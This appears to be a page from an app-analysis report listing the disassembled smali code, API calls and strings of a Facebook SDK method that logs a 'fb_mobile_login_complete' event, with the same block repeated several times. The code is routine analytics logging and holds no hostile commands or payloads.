                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
